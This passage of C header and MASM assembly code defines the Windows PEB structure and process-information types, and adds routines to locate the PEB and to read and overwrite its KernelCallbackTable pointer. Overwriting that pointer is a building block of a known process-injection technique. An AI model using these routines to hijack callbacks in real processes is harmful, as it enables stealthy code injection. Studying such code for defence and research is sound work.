    ULONG TlsBitmapBits[2];                                                 //0x80
    VOID* ReadOnlySharedMemoryBase;                                         //0x88
    VOID* SharedData;                                                       //0x90
    VOID** ReadOnlyStaticServerData;                                        //0x98
    VOID* AnsiCodePageData;                                                 //0xa0
    VOID* OemCodePageData;                                                  //0xa8
    VOID* UnicodeCaseTableData;                                             //0xb0
    ULONG NumberOfProcessors;                                               //0xb8
    ULONG NtGlobalFlag;                                                     //0xbc
    union _LARGE_INTEGER CriticalSectionTimeout;                            //0xc0
    ULONGLONG HeapSegmentReserve;                                           //0xc8
    ULONGLONG HeapSegmentCommit;                                            //0xd0
    ULONGLONG HeapDeCommitTotalFreeThreshold;                               //0xd8
    ULONGLONG HeapDeCommitFreeBlockThreshold;                               //0xe0
    ULONG NumberOfHeaps;                                                    //0xe8
    ULONG MaximumNumberOfHeaps;                                             //0xec
    VOID** ProcessHeaps;                                                    //0xf0
    VOID* GdiSharedHandleTable;                                             //0xf8
    VOID* ProcessStarterHelper;                                             //0x100
    ULONG GdiDCAttributeList;                                               //0x108
    UCHAR Padding3[4];                                                      //0x10c
    struct _RTL_CRITICAL_SECTION* LoaderLock;                               //0x110
    ULONG OSMajorVersion;                                                   //0x118
    ULONG OSMinorVersion;                                                   //0x11c
    USHORT OSBuildNumber;                                                   //0x120
    USHORT OSCSDVersion;                                                    //0x122
    ULONG OSPlatformId;                                                     //0x124
    ULONG ImageSubsystem;                                                   //0x128
    ULONG ImageSubsystemMajorVersion;                                       //0x12c
    ULONG ImageSubsystemMinorVersion;                                       //0x130
    UCHAR Padding4[4];                                                      //0x134
    ULONGLONG ActiveProcessAffinityMask;                                    //0x138
    ULONG GdiHandleBuffer[60];                                              //0x140
    VOID(*PostProcessInitRoutine)();                                        //0x230
    VOID* TlsExpansionBitmap;                                               //0x238
    ULONG TlsExpansionBitmapBits[32];                                       //0x240
    ULONG SessionId;                                                        //0x2c0
    UCHAR Padding5[4];                                                      //0x2c4
    union _ULARGE_INTEGER AppCompatFlags;                                   //0x2c8
    union _ULARGE_INTEGER AppCompatFlagsUser;                               //0x2d0
    VOID* pShimData;                                                        //0x2d8
    VOID* AppCompatInfo;                                                    //0x2e0
    struct _UNICODE_STRING CSDVersion;                                      //0x2e8
    struct _ACTIVATION_CONTEXT_DATA* ActivationContextData;                 //0x2f8
    struct _ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap;                //0x300
    struct _ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData;    //0x308
    struct _ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap;                 //0x310
    ULONGLONG MinimumStackCommit;                                           //0x318
    struct _FLS_CALLBACK_INFO* FlsCallback;                                 //0x320
    struct _LIST_ENTRY FlsListHead;                                         //0x328
    VOID* FlsBitmap;                                                        //0x338
    ULONG FlsBitmapBits[4];                                                 //0x340
    ULONG FlsHighIndex;                                                     //0x350
    VOID* WerRegistrationData;                                              //0x358
    VOID* WerShipAssertPtr;                                                 //0x360
    VOID* pUnused;                                                          //0x368
    VOID* pImageHeaderHash;                                                 //0x370
    union
    {
        ULONG TracingFlags;                                                 //0x378
        struct
        {
            ULONG HeapTracingEnabled : 1;                                   //0x378
            ULONG CritSecTracingEnabled : 1;                                //0x378
            ULONG LibLoaderTracingEnabled : 1;                              //0x378
            ULONG SpareTracingBits : 29;                                    //0x378
        };
    };
    UCHAR Padding6[4];                                                      //0x37c
    ULONGLONG CsrServerReadOnlySharedMemoryBase;                            //0x380
    ULONGLONG TppWorkerpListLock;                                           //0x388
    struct _LIST_ENTRY TppWorkerpList;                                      //0x390
    VOID* WaitOnAddressHashTable[128];                                      //0x3a0
    VOID* TelemetryCoverageHeader;                                          //0x7a0
    ULONG CloudFileFlags;                                                   //0x7a8
    ULONG CloudFileDiagFlags;                                               //0x7ac
    CHAR PlaceholderCompatibilityMode;                                      //0x7b0
    CHAR PlaceholderCompatibilityModeReserved[7];                           //0x7b1
    struct _LEAP_SECOND_DATA* LeapSecondData;                               //0x7b8
    union
    {
        ULONG LeapSecondFlags;                                              //0x7c0
        struct
        {
            ULONG SixtySecondEnabled : 1;                                   //0x7c0
            ULONG Reserved : 31;                                            //0x7c0
        };
    };
    ULONG NtGlobalFlag2;                                                    //0x7c4
} PEB, * PPEB;

typedef LONG KPRIORITY;

typedef struct _PROCESS_BASIC_INFORMATION {
    NTSTATUS ExitStatus;
    PPEB PebBaseAddress;
    ULONG_PTR AffinityMask;
    KPRIORITY BasePriority;
    ULONG_PTR UniqueProcessId;
    ULONG_PTR InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION;

typedef enum _PROCESSINFOCLASS
{
    ProcessBasicInformation = 0,
    ProcessDebugPort = 7,
    ProcessWow64Information = 26,
    ProcessImageFileName = 27,
    ProcessBreakOnTermination = 29
} PROCESSINFOCLASS, * PPROCESSINFOCLASS;

typedef NTSTATUS(WINAPI* PFN_NTQUERYINFORMATIONPROCESS)(
    HANDLE ProcessHandle,
    PROCESSINFOCLASS ProcessInformationClass,
    PVOID ProcessInformation,
    ULONG ProcessInformationLength,
    PULONG ReturnLength
    );

PFN_NTQUERYINFORMATIONPROCESS NtQueryInformationProcess = NULL;

#pragma once

#define COLOR_RESET "\\033[0m"
#define COLOR_RED_BOLD "\\033[1;31m"
#define COLOR_GREEN_BOLD "\\033[1;32m"
#define COLOR_YELLOW_BOLD "\\033[1;32m"
#define COLOR_BLUE_BOLD "\\033[1;34m"

extern PVOID LocatePEB();
extern PVOID ResolveKernelCallbackTable(PVOID PebAddress);
extern void WriteKernelCallbackTable(PVOID PebAddress, PVOID NewKernelCallbackTable);

#define MAX_WAIT_TIME 10000

.CODE
PUBLIC LocatePEB
PUBLIC ResolveKernelCallbackTable
PUBLIC WriteKernelCallbackTable

; Retrieving the address of the PEB.
LocatePEB PROC
    mov rax, qword ptr gs:[60h] ; Access PEB in x64
    ret
LocatePEB ENDP

; Retrieving the KernelCallbackTable address from the PEB.
; RCX contains the PEB address, returns KernelCallbackTable address in RAX
ResolveKernelCallbackTable PROC
    mov rax, qword ptr [rcx + 58h] ; Offset for KernelCallbackTable in PEB (0x58)
    ret
ResolveKernelCallbackTable ENDP

; Updating the KernelCallbackTable with a new address.
; RCX = PEB address, RDX = New KernelCallbackTable address
WriteKernelCallbackTable PROC
    mov qword ptr [rcx + 58h], rdx    ; Write the new KernelCallbackTable address
    ret
WriteKernelCallbackTable ENDP

END